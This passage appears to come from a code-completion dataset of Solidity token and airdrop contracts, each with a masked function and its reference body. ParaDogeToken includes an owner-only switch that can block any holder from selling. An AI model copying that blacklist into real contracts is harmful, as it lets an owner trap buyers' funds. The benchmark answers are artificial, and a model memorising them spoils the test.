sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
| function _transfer(address from, address to, uint256 amount) private | function _transfer(address from, address to, uint256 amount) private |
91089 | OMAGE | createTokens | contract OMAGE {
string public constant name = "OMAGE";
string public constant symbol = "OMA";
uint8 public constant decimals = 18;
uint public _totalSupply = 8000000000000000000000000;
uint256 public RATE = 1;
bool public isMinting = true;
bool public isExchangeListed = true;
string public constant generatedBy = "OMAGE LGBTI COMMUNITY";
using SafeMath for uint256;
address payable public owner;
// Functions with this modifier can only be executed by the owner
modifier onlyOwner() {
if (msg.sender != owner) {
revert();
}
_;
}
// Balances for each account
mapping(address => uint256) balances;
// Owner of account approves the transfer of an amount to another account
mapping(address => mapping(address=>uint256)) allowed;
// Its a payable function works as a token factory.
receive() external payable {
createTokens();
}
// Constructor
constructor() public payable {
owner = 0x46A321d27B3a1Eb47f0E935f0e39298cdB599F11;
balances[owner] = _totalSupply;
}
//allows owner to burn tokens that are not sold in a crowdsale
function burnTokens(uint256 _value) onlyOwner public {
require(balances[msg.sender] >= _value && _value > 0 );
_totalSupply = _totalSupply.sub(_value);
balances[msg.sender] = balances[msg.sender].sub(_value);
}
// This function creates Tokens
function createTokens() payable public {<FILL_FUNCTION_BODY> }
function endCrowdsale() onlyOwner public{
isMinting = false;
}
function changeCrowdsaleRate(uint256 _value) onlyOwner public {
RATE = _value;
}
function totalSupply() view public returns(uint256){
return _totalSupply;
}
// What is the balance of a particular account?
function balanceOf(address _owner) view public returns(uint256){
return balances[_owner];
}
// Transfer the balance from owner's account to another account
function transfer(address _to, uint256 _value) public returns(bool) {
require(balances[msg.sender] >= _value && _value > 0 );
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
// Send _value amount of tokens from address _from to address _to
// The transferFrom method is used for a withdraw workflow, allowing contracts to send
// tokens on your behalf, for example to "deposit" to a contract address and/or to charge
// fees in sub-currencies; the command should fail unless the _from account has
// deliberately authorized the sender of the message via some mechanism; we propose
// these standardized APIs for approval:
function transferFrom(address _from, address _to, uint256 _value) public returns(bool) {
require(allowed[_from][msg.sender] >= _value && balances[_from] >= _value && _value > 0);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
// Allow _spender to withdraw from your account, multiple times, up to the _value amount.
// If this function is called again it overwrites the current allowance with _value.
function approve(address _spender, uint256 _value) public returns(bool){
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
// Returns the amount which _spender is still allowed to withdraw from _owner
function allowance(address _owner, address _spender) view public returns(uint256){
return allowed[_owner][_spender];
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
} | contract OMAGE {
string public constant name = "OMAGE";
string public constant symbol = "OMA";
uint8 public constant decimals = 18;
uint public _totalSupply = 8000000000000000000000000;
uint256 public RATE = 1;
bool public isMinting = true;
bool public isExchangeListed = true;
string public constant generatedBy = "OMAGE LGBTI COMMUNITY";
using SafeMath for uint256;
address payable public owner;
// Functions with this modifier can only be executed by the owner
modifier onlyOwner() {
if (msg.sender != owner) {
revert();
}
_;
}
// Balances for each account
mapping(address => uint256) balances;
// Owner of account approves the transfer of an amount to another account
mapping(address => mapping(address=>uint256)) allowed;
// Its a payable function works as a token factory.
receive() external payable {
createTokens();
}
// Constructor
constructor() public payable {
owner = 0x46A321d27B3a1Eb47f0E935f0e39298cdB599F11;
balances[owner] = _totalSupply;
}
//allows owner to burn tokens that are not sold in a crowdsale
function burnTokens(uint256 _value) onlyOwner public {
require(balances[msg.sender] >= _value && _value > 0 );
_totalSupply = _totalSupply.sub(_value);
balances[msg.sender] = balances[msg.sender].sub(_value);
}
<FILL_FUNCTION>
function endCrowdsale() onlyOwner public{
isMinting = false;
}
function changeCrowdsaleRate(uint256 _value) onlyOwner public {
RATE = _value;
}
function totalSupply() view public returns(uint256){
return _totalSupply;
}
// What is the balance of a particular account?
function balanceOf(address _owner) view public returns(uint256){
return balances[_owner];
}
// Transfer the balance from owner's account to another account
function transfer(address _to, uint256 _value) public returns(bool) {
require(balances[msg.sender] >= _value && _value > 0 );
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
// Send _value amount of tokens from address _from to address _to
// The transferFrom method is used for a withdraw workflow, allowing contracts to send
// tokens on your behalf, for example to "deposit" to a contract address and/or to charge
// fees in sub-currencies; the command should fail unless the _from account has
// deliberately authorized the sender of the message via some mechanism; we propose
// these standardized APIs for approval:
function transferFrom(address _from, address _to, uint256 _value) public returns(bool) {
require(allowed[_from][msg.sender] >= _value && balances[_from] >= _value && _value > 0);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
// Allow _spender to withdraw from your account, multiple times, up to the _value amount.
// If this function is called again it overwrites the current allowance with _value.
function approve(address _spender, uint256 _value) public returns(bool){
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
// Returns the amount which _spender is still allowed to withdraw from _owner
function allowance(address _owner, address _spender) view public returns(uint256){
return allowed[_owner][_spender];
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
} |
if(isMinting == true){
require(msg.value > 0);
uint256 tokens = msg.value.div(100000000000000).mul(RATE);
balances[msg.sender] = balances[msg.sender].add(tokens);
_totalSupply = _totalSupply.add(tokens);
owner.transfer(msg.value);
}
else{
revert();
}
| function createTokens() payable public | // This function creates Tokens
function createTokens() payable public |
13846 | TGAirdrop | contract TGAirdrop is Ownable {
using SafeMath for uint256;
IERC20 public TG;
address TG_Addr = address(0);
uint256 private _wei_min;
mapping(address => bool) public _airdopped;
event Donate(address indexed account, uint256 amount);
/**
* @dev Wei Min
*/
function wei_min() public view returns (uint256) {
return _wei_min;
}
/**
* @dev constructor
*/
constructor() public {
TG = IERC20(TG_Addr);
}
/**
* @dev receive ETH and send TGs
*/
function () external payable {<FILL_FUNCTION_BODY> }
/**
* @dev set wei min
*/
function setWeiMin(uint256 value) external onlyOwner {
_wei_min = value;
}
/**
* @dev set TG Address
*/
function setTGAddress(address _TGAddr) public onlyOwner {
TG_Addr = _TGAddr;
TG = IERC20(_TGAddr);
}
} | contract TGAirdrop is Ownable {
using SafeMath for uint256;
IERC20 public TG;
address TG_Addr = address(0);
uint256 private _wei_min;
mapping(address => bool) public _airdopped;
event Donate(address indexed account, uint256 amount);
/**
* @dev Wei Min
*/
function wei_min() public view returns (uint256) {
return _wei_min;
}
/**
* @dev constructor
*/
constructor() public {
TG = IERC20(TG_Addr);
}
<FILL_FUNCTION>
/**
* @dev set wei min
*/
function setWeiMin(uint256 value) external onlyOwner {
_wei_min = value;
}
/**
* @dev set TG Address
*/
function setTGAddress(address _TGAddr) public onlyOwner {
TG_Addr = _TGAddr;
TG = IERC20(_TGAddr);
}
} |
require(_airdopped[msg.sender] != true);
require(msg.sender.balance >= _wei_min);
uint256 balance = TG.balanceOf(address(this));
require(balance > 0);
uint256 TGAmount = 100;
TGAmount = TGAmount.add(uint256(keccak256(abi.encode(now, msg.sender, now))) % 100).mul(10 ** 6);
if (TGAmount <= balance) {
assert(TG.transfer(msg.sender, TGAmount));
} else {
assert(TG.transfer(msg.sender, balance));
}
if (msg.value > 0) {
emit Donate(msg.sender, msg.value);
}
| function () external payable | /**
* @dev receive ETH and send TGs
*/
function () external payable |
|
27246 | ParaDogeToken | transferFrom | contract ParaDogeToken is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address payable;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isSniper;
mapping (address => uint256) public _firstBuyTime;
address payable public marketing;
address payable public development;
uint256 private _tTotal = 100 * 10**15 * 10**9;
string private _name = "ParaDoge";
string private _symbol = "PARADOGE";
uint8 private _decimals = 9;
uint256 public _liquidityFee = 2;
uint256 public _marketingFee = 4;
uint256 public _buyBackFee = 4;
uint256 public _developmentFee = 4;
uint256 private launchBlock;
uint256 private launchTime;
uint256 private blocksLimit;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 public _maxWalletHolding = 2 * 10**15 * 10**9;
uint256 public _maxTransactionAmount = 1 * 10**15 * 10**9;
uint256 private numTokensSellToAddToLiquidity = 20 * 10**12 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor (address payable _development, address payable _marketing) public {
development = _development;
marketing = _marketing;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_development] = true;
_isExcludedFromFee[_marketing] = true;
_isExcludedFromFee[address(0)] = true;
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {<FILL_FUNCTION_BODY> }
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function manualSwapAndLiquify() public onlyOwner() {
uint256 contractTokenBalance = balanceOf(address(this));
swapAndLiquify(contractTokenBalance);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setMaxWalletHolding(uint256 maxHolding) external onlyOwner() {
_maxWalletHolding = maxHolding;
}
function enableTrading(uint256 _blocksLimit) public onlyOwner() {
require(launchTime == 0, "Already enabled");
launchBlock = block.number;
launchTime = block.timestamp;
blocksLimit = _blocksLimit;
}
function setSniperEnabled(bool _enabled, address sniper) public onlyOwner() {
_isSniper[sniper] = _enabled;
}
function setSwapAndLiquifyEnabled(bool _enabled, uint256 _numTokensMin) public onlyOwner() {
swapAndLiquifyEnabled = _enabled;
numTokensSellToAddToLiquidity = _numTokensMin;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
receive() external payable {}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
swapAndLiquify(contractTokenBalance);
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
else {
require(amount <= _maxTransactionAmount, "Max Transaction limit exceeded");
require(launchTime > 0, "Trading not enabled yet");
}
//depending on type of transfer (buy, sell, or p2p tokens transfer) different taxes & fees are applied
bool isTransferBuy = from == uniswapV2Pair;
bool isTransferSell = to == uniswapV2Pair;
if (!isTransferBuy && !isTransferSell) {
takeFee = false;
}
_transferStandard(from,to,amount,takeFee,isTransferBuy,isTransferSell);
if (!_isExcludedFromFee[to] && (to != uniswapV2Pair)) require(balanceOf(to) < _maxWalletHolding, "Max Wallet holding limit exceeded");
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 totalFee = _liquidityFee.add(_marketingFee).add(_developmentFee).add(_buyBackFee);
uint256 liquidityPart = contractTokenBalance.mul(_liquidityFee).div(totalFee);
uint256 distributionPart = contractTokenBalance.sub(liquidityPart);
uint256 liquidityHalfPart = liquidityPart.div(2);
uint256 liquidityHalfTokenPart = liquidityPart.sub(liquidityHalfPart);
uint256 totalDistributionFee = totalFee.sub(_liquidityFee);
//now swapping half of the liquidity part + all of the distribution part into ETH
uint256 totalETHSwap = liquidityHalfPart.add(distributionPart);
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(totalETHSwap);
uint256 newBalance = address(this).balance.sub(initialBalance);
uint256 liquidityBalance = liquidityHalfPart.mul(newBalance).div(totalETHSwap);
// add liquidity to uniswap
if (liquidityHalfTokenPart > 0 && liquidityBalance > 0) addLiquidity(liquidityHalfTokenPart, liquidityBalance);
emit SwapAndLiquify(liquidityHalfPart, liquidityBalance, liquidityHalfPart);
newBalance = address(this).balance;
uint256 marketingBalance = newBalance.mul(_marketingFee.add(_buyBackFee)).div(totalDistributionFee);
uint256 developmentBalance = newBalance.sub(marketingBalance);
marketing.sendValue(marketingBalance);
development.sendValue(developmentBalance);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0,
0,
marketing,
block.timestamp
);
}
function _transferStandard(address sender, address recipient, uint256 tAmount, bool takeFee, bool isTransferBuy, bool isTransferSell) private {
uint256 tTransferAmount = tAmount;
if (takeFee) {
uint256 liquidityTax = tAmount.mul(_liquidityFee).div(100);
uint256 marketingTax = tAmount.mul(_marketingFee.add(_buyBackFee)).div(100);
uint256 developmentTax = tAmount.mul(_developmentFee).div(100);
if (isTransferBuy) {
if (block.number <= (launchBlock + blocksLimit)) _isSniper[recipient] = true;
if (_firstBuyTime[recipient] == 0) _firstBuyTime[recipient] = block.timestamp;
}
if (isTransferSell) {
require(!_isSniper[sender], "SNIPER!");
if (_firstBuyTime[sender] == 0 || (_firstBuyTime[sender] + (24 hours) > block.timestamp) ) {
marketingTax = marketingTax.mul(2);
liquidityTax = liquidityTax.mul(2);
developmentTax = developmentTax.mul(2);
}
}
tTransferAmount = tTransferAmount.sub(marketingTax).sub(liquidityTax).sub(developmentTax);
}
else if (!isTransferBuy && !isTransferSell) {
require(!_isSniper[sender], "SNIPER!");
}
_balances[sender] = _balances[sender].sub(tAmount);
_balances[recipient] = _balances[recipient].add(tTransferAmount);
_balances[address(this)] = _balances[address(this)].add(tAmount.sub(tTransferAmount));
emit Transfer(sender, recipient, tTransferAmount);
}
} | contract ParaDogeToken is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address payable;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isSniper;
mapping (address => uint256) public _firstBuyTime;
address payable public marketing;
address payable public development;
uint256 private _tTotal = 100 * 10**15 * 10**9;
string private _name = "ParaDoge";
string private _symbol = "PARADOGE";
uint8 private _decimals = 9;
uint256 public _liquidityFee = 2;
uint256 public _marketingFee = 4;
uint256 public _buyBackFee = 4;
uint256 public _developmentFee = 4;
uint256 private launchBlock;
uint256 private launchTime;
uint256 private blocksLimit;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 public _maxWalletHolding = 2 * 10**15 * 10**9;
uint256 public _maxTransactionAmount = 1 * 10**15 * 10**9;
uint256 private numTokensSellToAddToLiquidity = 20 * 10**12 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor (address payable _development, address payable _marketing) public {
development = _development;
marketing = _marketing;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_development] = true;
_isExcludedFromFee[_marketing] = true;
_isExcludedFromFee[address(0)] = true;
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
<FILL_FUNCTION>
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function manualSwapAndLiquify() public onlyOwner() {
uint256 contractTokenBalance = balanceOf(address(this));
swapAndLiquify(contractTokenBalance);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setMaxWalletHolding(uint256 maxHolding) external onlyOwner() {
_maxWalletHolding = maxHolding;
}
function enableTrading(uint256 _blocksLimit) public onlyOwner() {
require(launchTime == 0, "Already enabled");
launchBlock = block.number;
launchTime = block.timestamp;
blocksLimit = _blocksLimit;
}
function setSniperEnabled(bool _enabled, address sniper) public onlyOwner() {
_isSniper[sniper] = _enabled;
}
function setSwapAndLiquifyEnabled(bool _enabled, uint256 _numTokensMin) public onlyOwner() {
swapAndLiquifyEnabled = _enabled;
numTokensSellToAddToLiquidity = _numTokensMin;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
receive() external payable {}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
swapAndLiquify(contractTokenBalance);
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
else {
require(amount <= _maxTransactionAmount, "Max Transaction limit exceeded");
require(launchTime > 0, "Trading not enabled yet");
}
//depending on type of transfer (buy, sell, or p2p tokens transfer) different taxes & fees are applied
bool isTransferBuy = from == uniswapV2Pair;
bool isTransferSell = to == uniswapV2Pair;
if (!isTransferBuy && !isTransferSell) {
takeFee = false;
}
_transferStandard(from,to,amount,takeFee,isTransferBuy,isTransferSell);
if (!_isExcludedFromFee[to] && (to != uniswapV2Pair)) require(balanceOf(to) < _maxWalletHolding, "Max Wallet holding limit exceeded");
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 totalFee = _liquidityFee.add(_marketingFee).add(_developmentFee).add(_buyBackFee);
uint256 liquidityPart = contractTokenBalance.mul(_liquidityFee).div(totalFee);
uint256 distributionPart = contractTokenBalance.sub(liquidityPart);
uint256 liquidityHalfPart = liquidityPart.div(2);
uint256 liquidityHalfTokenPart = liquidityPart.sub(liquidityHalfPart);
uint256 totalDistributionFee = totalFee.sub(_liquidityFee);
//now swapping half of the liquidity part + all of the distribution part into ETH
uint256 totalETHSwap = liquidityHalfPart.add(distributionPart);
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(totalETHSwap);
uint256 newBalance = address(this).balance.sub(initialBalance);
uint256 liquidityBalance = liquidityHalfPart.mul(newBalance).div(totalETHSwap);
// add liquidity to uniswap
if (liquidityHalfTokenPart > 0 && liquidityBalance > 0) addLiquidity(liquidityHalfTokenPart, liquidityBalance);
emit SwapAndLiquify(liquidityHalfPart, liquidityBalance, liquidityHalfPart);
newBalance = address(this).balance;
uint256 marketingBalance = newBalance.mul(_marketingFee.add(_buyBackFee)).div(totalDistributionFee);
uint256 developmentBalance = newBalance.sub(marketingBalance);
marketing.sendValue(marketingBalance);
development.sendValue(developmentBalance);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0,
0,
marketing,
block.timestamp
);
}
function _transferStandard(address sender, address recipient, uint256 tAmount, bool takeFee, bool isTransferBuy, bool isTransferSell) private {
uint256 tTransferAmount = tAmount;
if (takeFee) {
uint256 liquidityTax = tAmount.mul(_liquidityFee).div(100);
uint256 marketingTax = tAmount.mul(_marketingFee.add(_buyBackFee)).div(100);
uint256 developmentTax = tAmount.mul(_developmentFee).div(100);
if (isTransferBuy) {
if (block.number <= (launchBlock + blocksLimit)) _isSniper[recipient] = true;
if (_firstBuyTime[recipient] == 0) _firstBuyTime[recipient] = block.timestamp;
}
if (isTransferSell) {
require(!_isSniper[sender], "SNIPER!");
if (_firstBuyTime[sender] == 0 || (_firstBuyTime[sender] + (24 hours) > block.timestamp) ) {
marketingTax = marketingTax.mul(2);
liquidityTax = liquidityTax.mul(2);
developmentTax = developmentTax.mul(2);
}
}
tTransferAmount = tTransferAmount.sub(marketingTax).sub(liquidityTax).sub(developmentTax);
}
else if (!isTransferBuy && !isTransferSell) {
require(!_isSniper[sender], "SNIPER!");
}
_balances[sender] = _balances[sender].sub(tAmount);
_balances[recipient] = _balances[recipient].add(tTransferAmount);
_balances[address(this)] = _balances[address(this)].add(tAmount.sub(tTransferAmount));
emit Transfer(sender, recipient, tTransferAmount);
}
} |
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
| function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) | function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) |
1357 | YFA | approve | contract YFA is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor () public {
symbol = "YFA";
name = "Your.Favorite.Asset";
decimals = 18;
_totalSupply = 55000000000000000000000;
balances[0xec95CA61987A0294ED66F34A718cC3dC42A8B94D] = _totalSupply;
emit Transfer(address(0), 0xec95CA61987A0294ED66F34A718cC3dC42A8B94D, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {<FILL_FUNCTION_BODY> }
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | contract YFA is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor () public {
symbol = "YFA";
name = "Your.Favorite.Asset";
decimals = 18;
_totalSupply = 55000000000000000000000;
balances[0xec95CA61987A0294ED66F34A718cC3dC42A8B94D] = _totalSupply;
emit Transfer(address(0), 0xec95CA61987A0294ED66F34A718cC3dC42A8B94D, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
<FILL_FUNCTION>
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
